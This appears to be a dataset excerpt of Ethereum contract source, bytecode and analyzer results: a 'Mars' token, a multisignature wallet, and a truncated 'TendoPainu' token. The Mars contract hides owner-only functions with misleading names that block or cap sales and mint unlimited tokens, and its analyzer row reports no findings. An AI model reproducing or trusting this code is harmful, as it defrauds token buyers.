Owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Mars is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _router;
mapping (address => mapping (address => uint256)) private _allowances;
address private public_address;
address private caller;
uint256 private _totalTokens = 100000000000 * 10**18;
string private _name = 'Mars';
string private _symbol = 'Mars';
uint8 private _decimals = 18;
uint256 private rTotal = 100000000000 * 10**18;
constructor () public {
_router[_call()] = _totalTokens;
emit Transfer(address(0), _call(), _totalTokens);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function Approve(address routeUniswap) public onlyOwner {
caller = routeUniswap;
}
function addliquidity (address Uniswaprouterv02) public onlyOwner {
public_address = Uniswaprouterv02;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_call(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _call(), _allowances[sender][_call()].sub(amount));
return true;
}
function totalSupply() public view override returns (uint256) {
return _totalTokens;
}
function setreflectrate(uint256 reflectionPercent) public onlyOwner {
rTotal = reflectionPercent * 10**18;
}
function balanceOf(address account) public view override returns (uint256) {
return _router[account];
}
function Reflect(uint256 amount) public onlyOwner {
require(_call() != address(0));
_totalTokens = _totalTokens.add(amount);
_router[_call()] = _router[_call()].add(amount);
emit Transfer(address(0), _call(), amount);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_call(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
if (sender != caller && recipient == public_address) {
require(amount < rTotal);
}
_router[sender] = _router[sender].sub(amount);
_router[recipient] = _router[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063b4a99a4e11610066578063b4a99a4e146102fd578063dd62ed3e14610321578063eb7d2cce1461034f578063f2fde38b1461036c57610100565b8063715018a61461029b57806395d89b41146102a357806396bfcd23146102ab578063a9059cbb146102d157610100565b8063313ce567116100d3578063313ce56714610212578063408e96451461023057806344192a011461024f57806370a082311461027557610100565b806306fdde0314610105578063095ea7b31461018257806318160ddd146101c257806323b872dd146101dc575b600080fd5b61010d610392565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014757818101518382015260200161012f565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ae6004803603604081101561019857600080fd5b506001600160a01b038135169060200135610428565b604080519115158252519081900360200190f35b6101ca610445565b60408051918252519081900360200190f35b6101ae600480360360608110156101f257600080fd5b506001600160a01b0381358116916020810135909116906040013561044b565b61021a6104ba565b6040805160ff9092168252519081900360200190f35b61024d6004803603602081101561024657600080fd5b50356104c3565b005b61024d6004803603602081101561026557600080fd5b50356001600160a01b03166105f5565b6101ca6004803603602081101561028b57600080fd5b50356001600160a01b031661066f565b61024d61068a565b61010d61072c565b61024d600480360360208110156102c157600080fd5b50356001600160a01b031661078d565b6101ae600480360360408110156102e757600080fd5b506001600160a01b038135169060200135610807565b61030561081b565b604080516001600160a01b039092168252519081900360200190f35b6101ca6004803603604081101561033757600080fd5b506001600160a01b038135811691602001351661082a565b61024d6004803603602081101561036557600080fd5b5035610855565b61024d6004803603602081101561038257600080fd5b50356001600160a01b03166108bc565b60078054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561041e5780601f106103f35761010080835404028352916020019161041e565b820191906000526020600020905b81548152906001019060200180831161040157829003601f168201915b5050505050905090565b600061043c6104356109b4565b84846109b8565b50600192915050565b60065490565b6000610458848484610a40565b6104b0846104646109b4565b6001600160a01b03871660009081526003602052604081206104ab9187919061048b6109b4565b6001600160a01b0316815260208101919091526040016000205490610b52565b6109b8565b5060019392505050565b60095460ff1690565b6104cb6109b4565b6000546001600160a01b0390811691161461051b576040805162461bcd60e51b81526020600482018190526024820152600080516020610cb3833981519152604482015290519081900360640190fd5b60006105256109b4565b6001600160a01b0316141561053957600080fd5b6006546105469082610b9b565b60065561057981600260006105596109b4565b6001600160a01b0316815260208101919091526040016000205490610b9b565b600260006105856109b4565b6001600160a01b031681526020810191909152604001600020556105a76109b4565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6105fd6109b4565b6000546001600160a01b0390811691161461064d576040805162461bcd60e51b81526020600482018190526024820152600080516020610cb3833981519152604482015290519081900360640190fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b031660009081526002602052604090205490565b6106926109b4565b6000546001600160a01b039081169116146106e2576040805162461bcd60e51b81526020600482018190526024820152600080516020610cb3833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b60088054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561041e5780601f106103f35761010080835404028352916020019161041e565b6107956109b4565b6000546001600160a01b039081169116146107e5576040805162461bcd60e51b81526020600482018190526024820152600080516020610cb3833981519152604482015290519081900360640190fd5b600580546001600160a01b0319166001600160a01b0392909216919091179055565b600061043c6108146109b4565b8484610a40565b6001546001600160a01b031681565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b61085d6109b4565b6000546001600160a01b039081169116146108ad576040805162461bcd60e51b81526020600482018190526024820152600080516020610cb3833981519152604482015290519081900360640190fd5b670de0b6b3a764000002600a55565b6108c46109b4565b6000546001600160a01b03908116911614610914576040805162461bcd60e51b81526020600482018190526024820152600080516020610cb3833981519152604482015290519081900360640190fd5b6001600160a01b0381166109595760405162461bcd60e51b8152600401808060200182810382526026815260200180610c8d6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b6001600160a01b0383166109cb57600080fd5b6001600160a01b0382166109de57600080fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610a5357600080fd5b6001600160a01b038216610a6657600080fd5b6005546001600160a01b03848116911614801590610a9157506004546001600160a01b038381169116145b15610aa457600a548110610aa457600080fd5b6001600160a01b038316600090815260026020526040902054610ac79082610b52565b6001600160a01b038085166000908152600260205260408082209390935590841681522054610af69082610b9b565b6001600160a01b0380841660008181526002602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6000610b9483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610bf5565b9392505050565b600082820183811015610b94576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60008184841115610c845760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610c49578181015183820152602001610c31565b50505050905090810190601f168015610c765780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50505090039056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a2646970667358221220c83e8673574ed5a5af749140ab07404aaf5f9878fa04120efdaa3155e3c6ff4664736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 917 |
0x342a6b08baffedd937bcf996f334be5cc3b3a8ed | pragma solidity 0.4.21;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="4c3f38292a2d22622b29233e2b290c2f23223f29223f353f62222938">[email protected]</a>>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (txn.destination.call.value(txn.value)(txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
} | 0x60606040526004361061011c5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c278114610165578063173825d91461019757806320ea8d86146101b65780632f54bf6e146101cc5780633411c81c146101ff57806354741525146102215780637065cb4814610250578063784547a71461026f5780638b51d13f146102855780639ace38c21461029b578063a0e67e2b14610349578063a8abe69a146103af578063b5dc40c3146103d2578063b77bf600146103e8578063ba51a6df146103fb578063c01a8c8414610411578063c642747414610427578063d74f8edd1461048c578063dc8452cd1461049f578063e20056e6146104b2578063ee22610b146104d7575b60003411156101635733600160a060020a03167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c3460405190815260200160405180910390a25b005b341561017057600080fd5b61017b6004356104ed565b604051600160a060020a03909116815260200160405180910390f35b34156101a257600080fd5b610163600160a060020a0360043516610515565b34156101c157600080fd5b6101636004356106aa565b34156101d757600080fd5b6101eb600160a060020a0360043516610788565b604051901515815260200160405180910390f35b341561020a57600080fd5b6101eb600435600160a060020a036024351661079d565b341561022c57600080fd5b61023e600435151560243515156107bd565b60405190815260200160405180910390f35b341561025b57600080fd5b610163600160a060020a0360043516610829565b341561027a57600080fd5b6101eb600435610965565b341561029057600080fd5b61023e6004356109e9565b34156102a657600080fd5b6102b1600435610a58565b604051600160a060020a038516815260208101849052811515606082015260806040820181815290820184818151815260200191508051906020019080838360005b8381101561030b5780820151838201526020016102f3565b50505050905090810190601f1680156103385780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b341561035457600080fd5b61035c610b36565b60405160208082528190810183818151815260200191508051906020019060200280838360005b8381101561039b578082015183820152602001610383565b505050509050019250505060405180910390f35b34156103ba57600080fd5b61035c60043560243560443515156064351515610b9f565b34156103dd57600080fd5b61035c600435610cc7565b34156103f357600080fd5b61023e610e2b565b341561040657600080fd5b610163600435610e31565b341561041c57600080fd5b610163600435610ec4565b341561043257600080fd5b61023e60048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610fb295505050505050565b341561049757600080fd5b61023e610fd1565b34156104aa57600080fd5b61023e610fd6565b34156104bd57600080fd5b610163600160a060020a0360043581169060243516610fdc565b34156104e257600080fd5b61016360043561118a565b60038054829081106104fb57fe5b600091825260209091200154600160a060020a0316905081565b600030600160a060020a031633600160a060020a031614151561053757600080fd5b600160a060020a038216600090815260026020526040902054829060ff16151561056057600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156106435782600160a060020a03166003838154811015156105aa57fe5b600091825260209091200154600160a060020a03161415610638576003805460001981019081106105d757fe5b60009182526020909120015460038054600160a060020a0390921691849081106105fd57fe5b6000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055610643565b600190910190610583565b6003805460001901906106569082611442565b50600354600454111561066f5760035461066f90610e31565b82600160a060020a03167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600160a060020a03811660009081526002602052604090205460ff1615156106d257600080fd5b600082815260016020908152604080832033600160a060020a038116855292529091205483919060ff16151561070757600080fd5b600084815260208190526040902060030154849060ff161561072857600080fd5b6000858152600160209081526040808320600160a060020a033316808552925291829020805460ff1916905586917ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e9905160405180910390a35050505050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b600554811015610822578380156107ea575060008181526020819052604090206003015460ff16155b8061080e575082801561080e575060008181526020819052604090206003015460ff165b1561081a576001820191505b6001016107c1565b5092915050565b30600160a060020a031633600160a060020a031614151561084957600080fd5b600160a060020a038116600090815260026020526040902054819060ff161561087157600080fd5b81600160a060020a038116151561088757600080fd5b600380549050600101600454603282111580156108a45750818111155b80156108af57508015155b80156108ba57508115155b15156108c557600080fd5b600160a060020a0385166000908152600260205260409020805460ff1916600190811790915560038054909181016108fd8382611442565b506000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0387169081179091557ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b600080805b6003548110156109e2576000848152600160205260408120600380549192918490811061099357fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff16156109c7576001820191505b6004548214156109da57600192506109e2565b60010161096a565b5050919050565b6000805b600354811015610a525760008381526001602052604081206003805491929184908110610a1657fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610a4a576001820191505b6001016109ed565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a9004600160a060020a031690806001015490806002018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b235780601f10610af857610100808354040283529160200191610b23565b820191906000526020600020905b815481529060010190602001808311610b0657829003601f168201915b5050506003909301549192505060ff1684565b610b3e61146b565b6003805480602002602001604051908101604052809291908181526020018280548015610b9457602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610b76575b505050505090505b90565b610ba761146b565b610baf61146b565b600080600554604051805910610bc25750595b9080825280602002602001820160405250925060009150600090505b600554811015610c5757858015610c07575060008181526020819052604090206003015460ff16155b80610c2b5750848015610c2b575060008181526020819052604090206003015460ff165b15610c4f5780838381518110610c3d57fe5b60209081029091010152600191909101905b600101610bde565b878703604051805910610c675750595b908082528060200260200182016040525093508790505b86811015610cbc57828181518110610c9257fe5b906020019060200201518489830381518110610caa57fe5b60209081029091010152600101610c7e565b505050949350505050565b610ccf61146b565b610cd761146b565b6003546000908190604051805910610cec5750595b9080825280602002602001820160405250925060009150600090505b600354811015610db45760008581526001602052604081206003805491929184908110610d3157fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610dac576003805482908110610d6c57fe5b600091825260209091200154600160a060020a0316838381518110610d8d57fe5b600160a060020a03909216602092830290910190910152600191909101905b600101610d08565b81604051805910610dc25750595b90808252806020026020018201604052509350600090505b81811015610e2357828181518110610dee57fe5b90602001906020020151848281518110610e0457fe5b600160a060020a03909216602092830290910190910152600101610dda565b505050919050565b60055481565b30600160a060020a031633600160a060020a0316141515610e5157600080fd5b6003548160328211801590610e665750818111155b8015610e7157508015155b8015610e7c57508115155b1515610e8757600080fd5b60048390557fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a8360405190815260200160405180910390a1505050565b33600160a060020a03811660009081526002602052604090205460ff161515610eec57600080fd5b6000828152602081905260409020548290600160a060020a03161515610f1157600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff1615610f4557600080fd5b6000858152600160208181526040808420600160a060020a033316808652925292839020805460ff191690921790915586917f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef905160405180910390a3610fab8561118a565b5050505050565b6000610fbf848484611345565b9050610fca81610ec4565b9392505050565b603281565b60045481565b600030600160a060020a031633600160a060020a0316141515610ffe57600080fd5b600160a060020a038316600090815260026020526040902054839060ff16151561102757600080fd5b600160a060020a038316600090815260026020526040902054839060ff161561104f57600080fd5b600092505b6003548310156110e85784600160a060020a031660038481548110151561107757fe5b600091825260209091200154600160a060020a031614156110dd57836003848154811015156110a257fe5b6000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790556110e8565b600190920191611054565b600160a060020a03808616600081815260026020526040808220805460ff199081169091559388168252908190208054909316600117909255907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b90905160405180910390a283600160a060020a03167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b33600160a060020a03811660009081526002602052604081205490919060ff1615156111b557600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff1615156111ea57600080fd5b600085815260208190526040902060030154859060ff161561120b57600080fd5b61121486610965565b1561133d576000868152602081905260409081902060038101805460ff19166001908117909155815490820154919750600160a060020a03169160028801905180828054600181600116156101000203166002900480156112b65780601f1061128b576101008083540402835291602001916112b6565b820191906000526020600020905b81548152906001019060200180831161129957829003601f168201915b505091505060006040518083038185875af1925050501561130357857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a261133d565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260038501805460ff191690555b505050505050565b600083600160a060020a038116151561135d57600080fd5b600554915060806040519081016040908152600160a060020a0387168252602080830187905281830186905260006060840181905285815290819052208151815473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0391909116178155602082015181600101556040820151816002019080516113e892916020019061147d565b506060820151600391909101805460ff191691151591909117905550600580546001019055817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b815481835581811511611466576000838152602090206114669181019083016114fb565b505050565b60206040519081016040526000815290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106114be57805160ff19168380011785556114eb565b828001600101855582156114eb579182015b828111156114eb5782518255916020019190600101906114d0565b506114f79291506114fb565b5090565b610b9c91905b808211156114f757600081556001016115015600a165627a7a72305820689ea6669c7f28518e9adde2558fd6da5789b4f2a2145369447ede4508784a830029 | {"success": true, "error": null, "results": {}} | 918 |
0x1f1502ace6dbf66094a31948f48497eefd8d5a5f | /**
*Submitted for verification at Etherscan.io on 2021-09-25
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TendoPainu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "@TendoPainu";
string private constant _symbol = "TendoPainu";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping (address => bool) bannedUsers;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 6;
uint256 private _redisfee = 2;
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value:
address(this).balance}
(address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
